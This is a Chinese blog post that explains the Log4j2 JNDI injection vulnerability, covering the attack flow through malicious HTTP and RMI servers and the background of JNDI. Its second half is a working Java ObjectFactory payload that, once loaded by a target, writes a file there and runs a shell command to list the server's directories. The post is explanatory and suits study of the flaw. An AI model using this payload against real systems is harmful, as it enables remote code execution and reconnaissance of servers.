从源码看Log4j2、FastJson漏洞


从源码看Log4j2、FastJson漏洞

文章插图
 
远程代码漏洞对广大程序员来并不陌生,远程代码执行是指攻击者可能会通过远程调用的方式来攻击或控制计算机设备,无论该设备在哪里 。如果远程代码执行的是一个死循环那服务器的CPU不得美滋滋了 。
前段时间,JAVA 界的知名日志框架 Log4j2 发现了远程代码执行漏洞,漏洞风暴席卷各大公司,编程届异常火热(加班),我们是万万没想到那么牛逼的日志框架有BUG 。
这次安全漏洞也有个小插曲,我司的员工发现了漏洞,上报了Apache没告知GXB,我司也受到了处罚,希望下次引以为戒,不过这事程序员不背锅,管理下次要反思下 。
漏洞描述本次 Apache Log4j 远程代码执行漏洞,是由于组件存在 Java JNDI 注入漏洞:
当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码 。
从源码看Log4j2、FastJson漏洞

文章插图
 
  • 首先开启HTTP服务器,并将我们的恶意类放在目录下
  • 开启恶意RMI服务器
  • 攻击者输入的参数为上一步开启的恶意RMI服务器地址
  • 恶意RMI服务器返回ReferenceWrApper类
  • 目标服务器在执行lookup操作的时候,将ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),进而执行恶意代码
漏洞复现JNDIJNDI 是Java 命名和目录接口(Java Naming and Directory Interface,JNDI)的简称,从一开始就一直是 Java 2平台企业版的核心技术之一 。
在JMS,JMail,JDBC,EJB等技术中,就大量应用的这种技术 。
JNDI可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol 轻型目录访问协议)、 CORBA对象服务、文件系统、windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS 。
JNDI 诞生的理由很简单:随着分布式应用的发展,远程访问对象访问成为常用的方法 。虽然说通过Socket等编程手段仍然可实现远程通信,但按照模式的理论来说,仍是有其局限性的 。
RMI技术,RMI-IIOP技术的产生,使远程对象的查找成为了技术焦点 。JNDI技术就应运而生 。JNDI技术产生后,就可方便的查找远程或是本地对象 。
如下展示了JNDI的架构图 。
从源码看Log4j2、FastJson漏洞

文章插图
 
编写攻击代码为完成Bug的复现,我们需要简单的搭建一个RMI服务 。
首先编写我们的攻击代码 。此处攻击代码遍历指定目录下的文件,并将其输出到指定目录中 。
攻击者可以获取无法服务器的任意目录结构,恐怖如斯~
public class BadCode implements ObjectFactory {@Overridepublic Object getObjectInstance(Object obj,Name name,Context nameCtx,Hashtable<?,?> environment) throws Exception {System.out.println("开始执行攻击");String data = https://www.isolves.com/it/aq/fwq/2021-12-31/"HH,我来了";// 嚣张点File file =new File("./badcode.txt");//if file does not exists,then create itif(!file.exists()){file.createNewFile();}FileWriter fileWritter = new FileWriter(file.getName(),true);fileWritter.write(data);// 遍历服务器指定目录List command = new ArrayList();command.add("tree");command.add("**");//指定一个目录String outstring = null;Process p = null;try {ProcessBuilder builder = new ProcessBuilder();builder.command(command);/*** 将标准输入流和错误输入流合并,通过标准输入流程读取信息*/builder.redirectErrorStream(true);p = builder.start();outstring = waitFor(p);fileWritter.write(outstring);} catch (Exception ex) {ex.printStackTrace();}finally {fileWritter.close();p.destroy();}return obj;}public static String waitFor(Process p) {InputStream in = null;int exitValue = -1;StringBuffer outputString = new StringBuffer();try {in = p.getInputStream();final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in,"utf-8"));boolean finished = false;int maxRetry = 600;//每次休眠1秒,最长执行时间10分种int retry = 0;while (!finished) {if (retry > maxRetry) {return "error";}try {String line="";while ((line=bufferedReader.readLine())!=null) {outputString.append(line+"n");}//进程未结束时调用exitValue将抛出异常exitValue = p.exitValue();finished = true;} catch (IllegalThreadStateException e) {Thread.sleep(1000);//休眠1秒retry++;}}} catch (Exception e) {e.printStackTrace();} finally {if (in != null) {try {in.close();} catch (IOException e) {System.out.println(e.getMessage());}}}return outputString.toString();} }


推荐阅读